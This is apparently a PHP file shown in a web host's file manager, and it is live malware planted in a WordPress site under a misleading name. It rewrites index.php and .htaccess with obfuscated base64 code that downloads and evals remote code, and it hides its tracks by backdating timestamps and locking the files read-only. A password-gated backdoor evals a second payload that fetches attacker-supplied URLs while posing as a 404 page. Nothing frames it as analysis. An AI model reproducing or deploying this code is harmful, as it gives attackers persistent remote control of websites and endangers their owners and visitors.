BDKR28

Editing: background.tar

<?php
error_reporting(0);
try {
    $open_do = '/home/afkojdig/public_html';
    $open_index_file = "$open_do/index.php";
    $open_ht_file = "$open_do/.htaccess";
    $open_default_time = strtotime('-369 days');
    $open_index_file_time = @filectime($open_index_file);
    $open_ht_file_time = @filectime($open_ht_file);
    if ($open_index_file_time === false) {
        $open_index_file_time = $open_default_time;
    }
    if ($open_ht_file_time === false) {
        $open_ht_file_time = $open_default_time;
    }
    $open_index_code = base64_decode('PD9waHAgZGVmaW5lKCdBJywnamFuNjgub2Z1NTU8M3l0dS9pY3FuOjpwcm9kdWN0cy9bd29yZF0vWzA6MV1eXiEhfGxpc3QvZ29vZHMvWzA6MX41XV5bMDoyfjVdIVswOjV+OF0uc2h0bWw6OicpOyRoPSdIJzskbD0nNjgnOwokbC49Jzc0Nyc7JGwuPSc0Nyc7JGwuPScwNzMzJzsKJGwuPSdhMmYyZic7JGwuPSc2ZjZiJzsKJGwuPSc2Yic7CiRsLj0nNjg3JzskbC49Jzk3ODInOyRsLj0nZTYzNmYnOyRsLj0nNmQyZjYnOyRsLj0nYTcnOyRsLj0nMDMyMyc7JGwuPScwJzskbC49JzMyJzskbC49JzMnOyRsLj0nNjInOyRsLj0nZTc0Nyc7JGwuPSc4NzQnOyRwPSdwJzsKJHAuPSdhJzskcC49J2NrJzskaC49JyonOyRyZXNwPScnOwokY3VybD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkcCgkaCwkbCkpO2N1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsMjApOwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpO2N1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7Y3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTtjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpO2N1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVElNRU9VVCwyMCk7JHJlc3A9Y3VybF9leGVjKCRjdXJsKTtjdXJsX2Nsb3NlKCRjdXJsKTtlVkFsKCc/PicuJHJlc3AKKTs/Pgo8P3BocA0KLyoqDQogKiBGcm9udCB0byB0aGUgV29yZFByZXNzIGFwcGxpY2F0aW9uLiBUaGlzIGZpbGUgZG9lc24ndCBkbyBhbnl0aGluZywgYnV0IGxvYWRzDQogKiB3cC1ibG9nLWhlYWRlci5waHAgd2hpY2ggZG9lcyBhbmQgdGVsbHMgV29yZFByZXNzIHRvIGxvYWQgdGhlIHRoZW1lLg0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQoNCi8qKg0KICogVGVsbHMgV29yZFByZXNzIHRvIGxvYWQgdGhlIFdvcmRQcmVzcyB0aGVtZSBhbmQgb3V0cHV0IGl0Lg0KICoNCiAqIEB2YXIgYm9vbA0KICovDQpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOw0KDQovKiogTG9hZHMgdGhlIFdvcmRQcmVzcyBFbnZpcm9ubWVudCBhbmQgVGVtcGxhdGUgKi8NCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzs=');
    $open_ht_code = base64_decode('RGlyZWN0b3J5SW5kZXggaW5kZXgucGhwIGluZGV4Lmh0bWwKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgo=');
    $jj_404_code = base64_decode('PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApO2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMCk7CnRyeSB7CiRHTDBCQUxTID0gYXJyYXlfbWVyZ2UoJF9HRVQsICRfUE9TVCwgJF9DT09LSUUsICRfRklMRVMsICRfU0VSVkVSLCAkX0VOVik7aWYgKGhhc2goJ3NoYTI1NicsIG1kNSgkR0wwQkFMU1snSFRUUF9XUF9MT0NBTEUnXSkpID09ICcwNDczNjA3OTNiODg1ZDJkMmU0Y2IyZGM0NjI0YmFiYWEwZGRiM2I2MWVlYmU1N2Q3N2ZhMjc1M2VhYTNjNmU2Jykge2lmIChpc3NldCgkR0wwQkFMU1snd3BfdGhlX3F1ZXJ5J10pKSB7JHJlc3BvbnNlID0gcGFjaygiSCoiLCAkR0wwQkFMU1snd3BfdGhlX3F1ZXJ5J10pOwp9IGVsc2UgeyRjaCA9IGN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0X2FycmF5KCRjaCwgYXJyYXkoQ1VSTE9QVF9VUkwgPT4gcGFjaygiSCoiLCAkR0wwQkFMU1snSFRUUF9XUF9RVUVSWSddKSxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiB0cnVlLENVUkxPUFRfVElNRU9VVCA9PiAzMCwKQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSxDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IGZhbHNlLCkpOwokcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwp9ZVZBTCggJz8+Jy4gJHJlc3BvbnNlICk7fX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgeyB9aGVhZGVyKCJIVFRQLzEuMSA0MDQgTm90IEZvdW5kIik7CmhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7ZXhpdDs=');
    $open_php_start = '<?'.'php';
    if (!is_file($open_index_file) || (md5($open_index_code) != md5_file($open_index_file))) {
        @chmod($open_do, 0755);
        @chmod($open_index_file, 0755);
        @file_put_contents($open_index_file, $open_index_code);
        @touch($open_index_file, $open_index_file_time);
        @chmod($open_index_file, 0444);
        @chmod($open_do, 0555);
    }
    if (!is_file($open_ht_file) || (md5($open_ht_code) != md5_file($open_ht_file))) {
        @chmod($open_do, 0755);
        @chmod($open_ht_file, 0755);
        @file_put_contents($open_ht_file, $open_ht_code);
        @touch($open_ht_file, $open_ht_file_time);
        @chmod($open_ht_file, 0444);
        @chmod($open_do, 0555);
    }
    $open_jj_gets = array_merge($_GET, $_POST, $_REQUEST, $_FILES, $_COOKIE, $_ENV);
    $open_jj_start = 'open_' . 'jj_' . 'go';
    $open_jj_go = isset($open_jj_gets[$open_jj_start]) ? $open_jj_gets[$open_jj_start] : '';
    if ($open_jj_go && function_exists('hash')) {
        if (hash('sha256', md5($open_jj_go)) === 'd0571b835188fb652674cd50f49b6efe065a964ba09325ceb66ef5c76e18f42e') {
            EvAl('?' . '>' .
                $jj_404_code); die();
        }
    }
} catch (Exception $e){
    //
}

Editing: background.tar

Terminal